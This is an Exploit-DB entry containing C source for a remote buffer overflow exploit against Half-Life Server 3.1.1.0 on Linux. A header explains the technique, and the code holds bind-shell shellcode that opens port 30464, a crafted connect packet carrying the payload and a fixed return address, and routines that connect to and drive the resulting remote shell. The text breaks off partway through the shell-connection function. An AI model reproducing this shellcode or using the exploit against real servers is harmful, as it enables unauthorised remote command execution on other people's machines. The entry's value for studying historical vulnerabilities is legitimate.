Exploit-DB #4541
Description: Half-Life Server 3.1.1.0 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2005-10-16
Author: greuff

Exploit:
/*****************************************************************
 * hoagie_hlserver.c
 *
 * Remote exploit for Halflife-Servers.
 *
 * Binds a shell to port 30464/tcp and connects to it.
 *
 * Author: greuff@void.at
 *
 * This hole was found by Auriemma Luigi.
 * Uses code from the proof-of-concept DoS-exploit by Auriemma Luigi.
 *
 * Tested with HL-Server v3.1.1.0. Works only with the Linux server
 * (though making a Win32-exploit should be trivial)
 *
 * How this exploit works:
 * There is a buffer on the stack that is being overwritten with
 * our supplied shellcode. Too bad that it lies on an address that
 * has 0xFF in it (e.g. 0xbfffe000) and half life filters these
 * characters out, so we can't write the address of the shellcode
 * there. 
 * Luckily, the function that copies the shellcode into the buffer
 * has the address of the buffer in %eax when it exits. So, we jump 
 * to the location 0x0804AE93 (which is the same in ALL half life
 * servers, thanks to the fact that it is a binary distrubtion)
 * where the instruction "call *%eax" is located. And so the shellcode
 * gets executed...
 *
 * Credits:
 *    void.at
 *    Auriemma Luigi
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <time.h>
#include    <unistd.h>
#include    <sys/socket.h>
#include    <sys/types.h>
#include    <arpa/inet.h>
#include    <netdb.h>

#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        27015
#define INFO        "\xff\xff\xff\xff" \
                    "infostring\n\0"
#define GETCH       "\xff\xff\xff\xff" \
                    "getchallenge\n\0"
#define TIMEOUT     5    /* 5 seconds */

#define PICOFFSET 0xD0404

// 13*13+5=174
// 5*16+13+43+7*16+12=260
// 260-174 = 86 NOPs = 6*13+8
#define PAYLOAD    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
                   "\x90\x90\x90\x90" \
                   "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06\x31" \
                   "\xc0\xb0\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2" \
                   "\xb0\x66\xb3\x01\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
                   "\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31\xc9\x51" \
                   "\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c" \
                   "\x24\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0" \
                   "\xb0\x66\xcd\x80\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0" \
                   "\xb0\x66\x80\xc3\x03\xcd\x80\x31\xc0\x50\x50\x52\x8d" \
                   "\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31" \
                   "\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41" \
                   "\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73" \
                   "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31" \
                   "\xc9\x51\x53\x8d\x0c\x24\x31\xc0\xb0\x0b\xcd\x80\x31" \
                   "\xc0\xb0\x01\xcd\x80" \
/* EIP */          "%c%c%c%c%c%c%c%c%c%c%c%c" 
	           // "BBBB"
/* PAYLOAD is 268 bytes! */
#define MODEL       "robo"
#define NAME        "]I[gore"
#define TOPCOLOR    "25"    /* 0-255, it's NOT important */
#define BOTTOMCOLOR "161"    /* 0-255, it's NOT important */
#define BOF1        "\xff\xff\xff\xff" \
                    "connect %d" \
                    " %s \"" \
                    "\\prot\\2" \
                    "\\unique\\-1" \
                    "\\raw\\%08lx%08lx%08lx%08lx" \
                    "\" \"" \
                    "\\model\\" MODEL \
                    "\\topcolor\\" TOPCOLOR \
                    "\\bottomcolor\\" BOTTOMCOLOR \
                    "\\rate\\9999.000000" \
                    "\\cl_updaterate\\20" \
                    "\\cl_lw\\1" \
                    "\\cl_lc\\1" \
                    "\\cl_dlmax\\128" \
                    "\\hud_classautokill\\1" \
                    "\\name\\" NAME \
                    "\\" PAYLOAD "\\value" \
                    "\"\n"
#define BUGNUM      "" \

int exec_sh(int sockfd)
{
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
                FD_ZERO(&rset);
                FD_SET(fileno(stdin),&rset);
                FD_SET(sockfd,&rset);
                select(255,&rset,NULL,NULL,NULL);
                if(FD_ISSET(fileno(stdin),&rset))
                {
                        memset(snd,0,sizeof(snd));
                        fgets(snd,sizeof(snd),stdin);
                        write(sockfd,snd,strlen(snd));
                }
                if(FD_ISSET(sockfd,&rset))
                {
                        memset(rcv,0,sizeof(rcv));
                        if(read(sockfd,rcv,sizeof(rcv))<=0)
                                exit(0);
                        fputs(rcv,stdout);
                }
        }
}

int connect_sh(char *server)
{
        int sockfd,i;
        struct sockaddr_in sin;
	struct hostent *he;
        printf("Connect to the shell\n");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(30464);
	if((he=gethostbyname(server))<0) perror("gethostbyname"), exit(1);
	memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<